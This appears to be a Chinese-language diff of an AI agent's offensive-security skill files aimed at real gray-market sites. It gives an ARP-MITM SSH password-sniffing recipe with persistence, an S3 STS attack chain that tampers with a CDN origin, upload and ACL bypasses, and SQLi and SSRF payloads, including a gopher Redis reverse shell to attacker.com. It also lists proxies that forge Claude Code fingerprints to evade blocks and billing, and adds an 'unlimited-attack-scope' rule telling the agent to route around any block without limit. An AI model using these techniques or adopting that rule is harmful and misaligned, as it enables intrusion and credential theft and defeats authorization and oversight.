关键词矩阵(dnsNames分类): 钱包钓鱼 tokenpocket/tokenpoket(字母置换抢注)/metamask/trust | 支付诈骗 paypal/wxpay/bayspay/147pay
成人付费站群 xiuren/xrw/sood/laikantu/tuhaokan/kantu | 盗版影视 7she/acgzy/yiyiyi/dilige/80sjdy/mogudong
VPN翻墙 futo-on/xyou/gogocloud/douyinjiasu/tudoujiasu | 泛站群SEO 0x000/tc7/vn00/fc000/ikkk(程序化泛解析跳转链) | 彩票诈骗 0149/dh49/999pian(pian=骗)
高价值标注: A级有效期内钱包/支付私钥→MITM/HTTPS钓鱼绿锁 | B级ACME自动续期证书可持续监控 | C级AK/SK凭据复用+WHOIS关联运营者其他资产
识别特征(🔴极高): 同服务器混部正常+涉黄+盗版 | 大量泛站群通配符证书 | 品牌域名+仿冒域名同CDN(内部人运营钓鱼) | 唯一管理员key可导全部私钥(GoEdge默认无隔离)
```
### ARP MITM同L2窃取SSH密码(目标同网段,密码未知)
```
适用: 目标同L2(同Hyper-V宿主/同VLAN)+有已控跳板机+目标SSH密码未知
🚨关键坑: arpspoof报"couldn't arp for host"(libnet解析MAC在Hyper-V/CentOS7常超时)
修复: ip neigh replace 目标IP lladdr 目标MAC dev eth0 nud permanent (网关同样预填) → 跳过libnet解析,arpspoof即正常
部署: echo 1>/proc/sys/net/ipv4/ip_forward | arpspoof×4双向(目标↔网关各一进程) | tcpdump -w x.pcap -s0 -C100 -W10 host 目标
dsniff -i eth0 -w /tmp/dsniff.log (专抓SSH/FTP/HTTP明文密码)
持久化: crontab '*/2 * * * * /root/mitm_chk.sh'补位 + rc.local开机自启
验证: pgrep -c arpspoof==4 | tcpdump -r x.pcap看是否截获目标流量
事件通知: hermes cron create 'every 2 minutes' --no-agent --deliver feishu:chat_id (有鱼才通知:脚本检测dsniff日志新内容→stdout输出→投递,无新内容静默)
清理: pkill arpspoof/tcpdump/dsniff | echo 0>ip_forward | crontab去mitm行 | ip neigh del 各条 | rm pcap/log
```
### 多层域名轮换CDN防封系统 → S3 STS凭据升级攻击链
```
架构识别: 入口域名 → JS跳转层1(随机子域+通配符DNS) → 跳转层2 → 真实业务站(静态Landing)
CDN特征: Server: Xcdn | "Please access via the domain name" | 987dns.com 国内DNS调度(海外返0.0.0.0)
关键突破点:
①真实业务站HTML内联JS中暴露mainDomains列表(层层递进)+base64编码的子站跳转配置
②最深层Landing页引用CDN外源站资源(ug458.com/idcpc8.com等)→ 绕过CDN直接打源站
③源站是S3(AmazonS3 header/ListBucket公开) → 暴露bucket名
④同站提供APK下载 → 逆向提取API域名+AES密钥+STS获取路径
⑤注册→登录→JWT→/BBS/GetSTSToken → AWS STS临时凭据(PutObject权限)
⑥S3写入 = CDN源站篡改 = 全用户JS注入(等效RCE)
技术细节:
AES-CBC加密API通信: 密钥在前端JS(lazyDecryptImg.js)和APK(.so strings)双重暴露
ASP.NET后端: 从validation错误格式+traceId判断 | form-urlencoded优先(JSON可能415)
注册无验证: 无SMS/无验证码/任意手机号 → 批量注册可能
STS过度授权: 普通用户角色获得s3:PutObject → 覆盖CDN源站文件
S3 bucket ListBucket公开: prefix参数无效(CDN缓存), 但直连S3域名可全量枚举
参考: references/cdn-antiblock-s3-attack-chain.md
```
### 宝塔面板(BT Panel)渗透 + UniApp/DCloud APK逆向
```
=== 宝塔面板指纹识别 ===
指纹: 端口19362/8888/随机高端口 + Cookie名含32位MD5 hash + "_ssl"后缀 (如 721301c19a31e887cb1f5a5726fbaae5_ssl)
Set-Cookie出现在404响应中 = 确认宝塔面板; 888端口通常放phpMyAdmin(403=IP白名单)
安全入口: 新版宝塔强制随机8位路径(/xxxxxxxx/),不猜到就进不去面板。所有API端点都在安全入口路径后面。
爆破策略: 域名相关变体(bt+域名前缀) + 常用运维习惯(admin888/bt123456/btpanel) + 8位随机(成功率极低)
绕过: 无已知通用绕过(2024+); 旧版CVE-2023-38038(phpmyadmin未授权)仅<=7.7
横向思路: 同IP多站共享宝塔 → 找弱站突破 → 横向到目标站; 宝塔默认www用户管所有站点
=== UniApp/DCloud APK逆向(极高效) ===
识别: assets/dcloud_uniplugins.json + assets/apps/<appid>/ + uni-jsframework.js
核心: 业务逻辑全在 assets/apps/<appid>/www/ 目录的JS/Vue文件中(无需jadx反编译Java)
API提取: grep -r 'https\?://' assets/apps/ | 过滤baseURL/apiUrl/request配置
认证: 搜索token/key/secret/Authorization → 硬编码凭据常见于config.js/env.js/manifest.json
加密: 搜索aes/encrypt/decrypt/sign → 前端加密=明文(密钥必在JS中)
WebSocket: 搜索wss://ws:// → 实时通信后端地址
优先级: manifest.json(appid/版本/权限) → config或env相关JS(API地址) → 页面JS(业务逻辑/IDOR)
=== 橙子建站(ChengZi/d3504.cn) SDK解密 ===
场景: 色情/灰产APP分发落地页常用ChengZi做免填邀请+跳转+APK分发
init3接口: POST /web/<appkey>/<channel>/init3 → 返回URL-safe base64编码的XOR加密数据
解密: base64url_decode → 逐字节XOR 0x96 → JSON(含fu=下载URL, ph=安装包路径, fm=跳转方式)
脚本: scripts/chengzi_decrypt.py
利用: 解密拿到真实APK的阿里云FC函数URL → 下载APK → 逆向提取后端API
```
### AI IDE API反代/key泄露目录(发现并评估AI编程工具反代方案)
```
背景: Cursor Web免费API 2026-04起只剩gemini-3-flash,Claude全砍 → 拿Claude 4.6+需其他渠道
可用方案: freemodel-cc-proxy(免费,FreeModel真Claude,伪装Claude Code指纹绕403,Opus4.8/Sonnet4.6) | WindsurfAPI(dwgx,Windsurf gRPC转API,100+模型,账号池轮询)
askalf/dario(Claude Pro/Max订阅转API,绕headless计费) | bypass/chatgpt-adapter(xllm-go,多家逆向接口聚合转OpenAI格式)
已废: cursor2api/cursor2api-go(只剩gemini-3-flash) | 辅助: claude-tap(MITM拦AI Agent真实流量研究system prompt/工具调用)
GitHub搜索法: api.github.com/search/repositories?q=cursor+api+reverse+proxy&sort=stars → 过滤desc → /repos/<o>/<r>/readme(base64解码读) → /search/issues查最新状态
关键词: cursor api reverse proxy / cursor workos token / claude proxy cursor / AI IDE api reverse engineering
```
### OCS在线客服系统渗透 + MinIO对象存储利用
```
发现入口: 落地页HTML客服链接暴露OCS域名(如leiyushan.com) → Playwright加载SPA截获真实API调用
认证流程: POST /api/v1/v/init {cid,vid} → data.tk = visitor token; 后续请求头 x-v-token: <token>
核心API: /api/v1/v/bc(开始聊天) /api/v1/v/oss/sign(获取上传签名) /api/v1/v/message/send(发消息)
上传链: GET /api/v1/v/oss/sign → {sn,et,ul,ulw,dir,cid,og} → POST https://UL/api/v1/f/wj/tr
请求头: sign=<sn>, expTime=<et> 表单: file=@file, cid=<cid>, dir=<dir>, og=<og>, fn=<filename>, fg=0
黑名单绕过(白名单外扩展名被拦截):
✓ .jsp.jpg(双扩展名,最后ext通过检测) ✓ .jsp%00.jpg(空字节截断) ✓ .jsp;.jpg(Tomcat路径参数)
✗ .jsp/.jspx/.JSP/.Jsp/war/php/py/sh/xml/svg/html/txt/json/yaml/properties/sql/doc/ini/conf
⚠️ 文件存储在MinIO对象存储=静态对象,不会被Tomcat执行(需写入webroot才能RCE)
验证: curl https://UL/bucket/dir/date/filename → 返回文件内容(纯文本,非执行)
dir参数穿越: sign服务不验证dir内容(总返回固定bucket sign); upload服务检查bucket权限
dir=conf → 500(尝试写conf bucket但权限不足) dir=../../ → 500(穿越被拒)
MinIO Console(端口9001): POST /api/v1/login {"accessKey":"X","secretKey":"Y"} → 403=invalid Login
CVE-2023-28432: POST /minio/health/cluster?verify → 新版已修补(返回BadRequest不泄露env)
CDN层识别(响应大小指纹):
CDN WAF拦截页 ~2000字节 | WSCN JS挑战页 ~6000字节(Embed Iframe) | nginx 404 = 146字节
Spring Boot JSON 404 ~100字节 | Tomcat HTML 404 ~435字节
nginx方法限制: admin路径(/api/v1/a/ /api/v1/s/)只允许GET → POST返回405
WSCN网宿CDN JS挑战: Playwright自动通过 | 路径白名单独立于JS挑战(过了挑战仍按路径ACL拦截)
Spring Boot路径穿越: /c/..;/path → 绕过nginx路径ACL到达Spring Boot (分号=Tomcat路径参数截断)
BT Panel入口: Set-Cookie泄露cookie名 → 入口路径随机8位不可推导,只能暴力枚举
Longteng CDN: TLS证书暴露所有关联域名 | Server头暴露源站OS版本
```
## 支持文件索引
```
=== references/ 攻击链实录 ===
cdn-antiblock-s3-attack-chain.md 多层域名轮换CDN防封→S3 STS凭据升级链
faka-system-attack-chain.md 发卡系统(XHFAKA/星海)枚举/二阶XSS/锁定绕过/WAF盲区
ocs-im-system-attack-chain.md OCS在线客服IM系统完整攻击链
ocs-minio-upload-attack-chain.md OCS上传→MinIO对象存储利用链
chinese-app-distribution-pentest.md 国产灰产APP分发落地页渗透(ChengZi/FC/CDN)
phpcms-v9-attack-surface.md PHPCMS V9攻击面
=== references/ CDN/Spring/WebSocket绕过 ===
spring-boot-cdn-bypass.md Spring Boot Actuator路径穿越+拦截器绕过
cdn-waf-bypass-spring-boot.md CDN WAF绕过(502/JS挑战)+Spring后端
cdn-bypass-gccdn-ocs.md GCCDN/网宿响应过滤绕过
cdn-websocket-bypass-spring-auth.md WebSocket升级绕CDN到达Spring
stomp-websocket-cdn-bypass.md STOMP over SockJS CDN绕过
sockjs-stomp-exploitation.md SockJS/STOMP越权+SpEL注入
spring-stomp-sockjs-exploitation.md Spring STOMP认证+越权订阅
=== references/ nginx/PHP指纹 ===
nginx-pathinfo-bypass-and-fingerprint.md PATH_INFO绕deny+响应大小指纹
nginx-php-fingerprint-bypass.md nginx/PHP-FPM指纹差分
nginx-404-differential-fingerprinting.md catch-all vs 真404差分枚举
=== references/ APK逆向 ===
uniapp-apk-reverse-engineering.md UniApp/DCloud完整逆向(JS/.so/.dat)
uniapp-apk-reversing.md UniApp逆向速查(RC4解混淆+域名发现)
uniapp-dcloud-apk-reversing.md DCloud结构+HTTPDNS辨识
bt-panel-attack-methodology.md 宝塔面板指纹+入口爆破+横向
=== scripts/ ===
js_rc4_deobfuscate.js JS RC4+字符串数组旋转反混淆(提取→node解码)
chengzi_decrypt.py 橙子建站init3 XOR解密(fu下载URL)
decrypt_aes_cbc_api.py AES-CBC加密API通信解密模板(硬编码key/iv)
s3_sts_exploit.py AWS S3 STS临时凭据利用(验证/列目录/写入/权限枚举)
stomp_sockjs_exploit.py STOMP over SockJS利用模板(CDN绕过+认证+注入)
spring_stomp_exploit.py Spring STOMP越权订阅/发送
```
-101
View File
@@ -1,101 +0,0 @@
---
name: sql-injection-testing
description: SQL注入测试的专业技能和方法论
version: 1.0.0
---
# SQL注入测试技能
## 概述
SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。
## 测试方法
### 1. 参数识别
- 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等
- 重点关注:id、search、filter、sort等参数
- 使用Burp Suite或类似工具拦截和修改请求
### 2. 基础检测
- 单引号测试:`'` - 查看是否出现SQL错误
- 布尔盲注:`' AND '1'='1` vs `' AND '1'='2`
- 时间盲注:`' AND SLEEP(5)--`
- 联合查询:`' UNION SELECT NULL--`
### 3. 数据库识别
- MySQL`' AND @@version LIKE '%mysql%'--`
- PostgreSQL`' AND version() LIKE '%PostgreSQL%'--`
- MSSQL`' AND @@version LIKE '%Microsoft%'--`
- Oracle`' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--`
### 4. 信息提取
- 数据库名:`' UNION SELECT database()--`
- 表名:`' UNION SELECT table_name FROM information_schema.tables--`
- 列名:`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--`
- 数据提取:`' UNION SELECT username,password FROM users--`
## 工具使用
### sqlmap
```bash
# 基础扫描
sqlmap -u "http://target.com/page?id=1"
# 指定参数
sqlmap -u "http://target.com/page" --data="id=1" --method=POST
# 指定数据库类型
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
# 获取数据库列表
sqlmap -u "http://target.com/page?id=1" --dbs
# 获取表
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
# 获取数据
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
```
### 手动测试
- 使用Burp Suite的Repeater模块
- 使用浏览器开发者工具
- 编写Python脚本自动化测试
## 绕过技术
### WAF绕过
- 编码绕过:URL编码、Unicode编码、十六进制编码
- 注释绕过:`/**/`, `--`, `#`
- 大小写混合:`SeLeCt`, `UnIoN`
- 空格替换:`/**/`, `+`, `%09`(Tab), `%0A`(换行)
### 示例
```
原始:' UNION SELECT NULL--
绕过1'/**/UNION/**/SELECT/**/NULL--
绕过2'%55nion%20select%20null--
绕过3'/*!UNION*//*!SELECT*/null--
```
## 验证和报告
### 验证步骤
1. 确认可以执行SQL语句
2. 提取数据库信息验证
3. 评估影响范围(数据泄露、权限提升等)
4. 记录完整的POC(请求/响应)
### 报告要点
- 漏洞位置和参数
- 影响的数据和系统
- 完整的利用步骤
- 修复建议(参数化查询、输入验证等)
## 注意事项
- 仅在授权测试环境中进行
- 避免对生产数据造成破坏
- 谨慎使用DROP、DELETE等危险操作
- 记录所有测试步骤以便复现
-266
View File
@@ -1,266 +0,0 @@
---
name: ssrf-testing
description: SSRF服务器端请求伪造测试的专业技能和方法论
version: 1.0.0
---
# SSRF服务器端请求伪造测试
## 概述
SSRFServer-Side Request Forgery)是一种利用服务器发起请求的漏洞,可以访问内网资源、进行端口扫描或绕过防火墙。本技能提供SSRF漏洞的检测、利用和防护方法。
## 漏洞原理
应用程序接受URL参数并请求该URL,攻击者可以控制请求的目标,导致:
- 内网资源访问
- 本地文件读取
- 端口扫描
- 绕过防火墙
- 云服务元数据访问
## 测试方法
### 1. 识别SSRF输入点
**常见功能:**
- URL预览/截图
- 文件上传(远程URL
- Webhook回调
- API代理
- 数据导入
- 图片处理
- PDF生成
### 2. 基础检测
**测试本地回环:**
```
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
```
**测试内网IP**
```
http://192.168.1.1
http://10.0.0.1
http://172.16.0.1
```
**测试文件协议:**
```
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
```
### 3. 绕过技术
**IP地址编码:**
```
127.0.0.1 → 2130706433 (十进制)
127.0.0.1 → 0x7f000001 (十六进制)
127.0.0.1 → 0177.0.0.1 (八进制)
```
**域名解析绕过:**
```
127.0.0.1.xip.io
127.0.0.1.nip.io
localtest.me
```
**URL重定向:**
```
http://attacker.com/redirect → http://127.0.0.1
```
**协议混淆:**
```
http://127.0.0.1:80@evil.com
http://evil.com#@127.0.0.1
```
## 利用技术
### 内网探测
**端口扫描:**
```bash
# 使用Burp Intruder
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:8080
http://127.0.0.1:9200
```
**识别服务:**
- 响应时间差异
- 错误信息
- HTTP状态码
- 响应内容
### 云服务元数据
**AWS EC2**
```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
**Google Cloud**
```
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
```
**Azure**
```
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01
```
**阿里云:**
```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
```
### 内网应用攻击
**访问管理后台:**
```
http://127.0.0.1:8080/admin
http://192.168.1.100/phpmyadmin
```
**Redis未授权访问:**
```
http://127.0.0.1:6379
# 然后发送Redis命令
```
**FastCGI攻击:**
```
http://127.0.0.1:9000
# 利用FastCGI协议执行命令
```
## 高级利用
### Gopher协议
**发送任意协议数据:**
```
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a
```
**Redis命令执行:**
```
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
```
### Dict协议
**端口扫描和信息收集:**
```
dict://127.0.0.1:6379/info
dict://127.0.0.1:3306/status
```
### 文件协议
**读取本地文件:**
```
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file:///proc/self/environ
```
## 工具使用
### SSRFmap
```bash
# 基础扫描
python3 ssrfmap.py -r request.txt -p url
# 端口扫描
python3 ssrfmap.py -r request.txt -p url -m portscan
# 云元数据
python3 ssrfmap.py -r request.txt -p url -m cloud
```
### Gopherus
```bash
# 生成Gopher payload
python gopherus.py --exploit redis
```
### Burp Collaborator
**检测盲SSRF**
```
http://burpcollaborator.net
# 观察是否有DNS/HTTP请求
```
## 验证和报告
### 验证步骤
1. 确认可以控制请求目标
2. 验证内网资源访问或端口扫描
3. 评估影响范围(内网渗透、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和输入参数
- 可访问的内网资源或端口
- 完整的利用步骤和PoC
- 修复建议(URL白名单、禁用危险协议等)
## 防护措施
### 推荐方案
1. **URL白名单**
```python
ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']
parsed = urlparse(url)
if parsed.netloc not in ALLOWED_DOMAINS:
raise ValueError("Domain not allowed")
```
2. **禁用危险协议**
- 只允许http/https
- 禁止file://、gopher://、dict://等
3. **IP地址过滤**
```python
import ipaddress
def is_internal_ip(ip):
return ipaddress.ip_address(ip).is_private or \
ipaddress.ip_address(ip).is_loopback
```
4. **使用DNS解析验证**
- 解析域名获取IP
- 验证IP是否在内网范围
5. **网络隔离**
- 限制服务器出网权限
- 使用代理服务器
## 注意事项
- 仅在授权测试环境中进行
- 避免对内网系统造成影响
- 注意不同协议的支持情况
- 测试时注意请求频率,避免触发防护
+17
View File
@@ -0,0 +1,17 @@
---
name: unlimited-attack-scope
description: >-
不设限原则:搜索/验证/串联/记录一切,全领域适用,被拦换路,不达不休。Use when reminding scope is unlimited across Web/APK/cloud/AI/wireless/social eng.
tags: [渗透测试, penetration-testing, 红队]
---
## 不设限原则
```
OODA/项目黑板Fact/验证铁律/组合拳适用于所有安全领域。skill是框架不是牢笼:
搜索一切(多渠道) · 验证一切(搜索≠漏洞) · 串联一切(小漏洞拼大突破) · 记录一切(负结果也是Fact)
不设上限(Web/APK/EXE/内网/云/固件/区块链/AI/无线/硬件/社工皆可) · 被拦换路 · 不达不休
> 给定一组能力和一个目标,像解谜一样推导出独属于这个目标的攻击链——
> 这条链可能全世界只有你这一个目标适用,网上永远搜不到,因为它是你现场推导出来的。
> 这就是跳出固有框架的真正含义。
```

Some files were not shown because too many files have changed in this diff Show More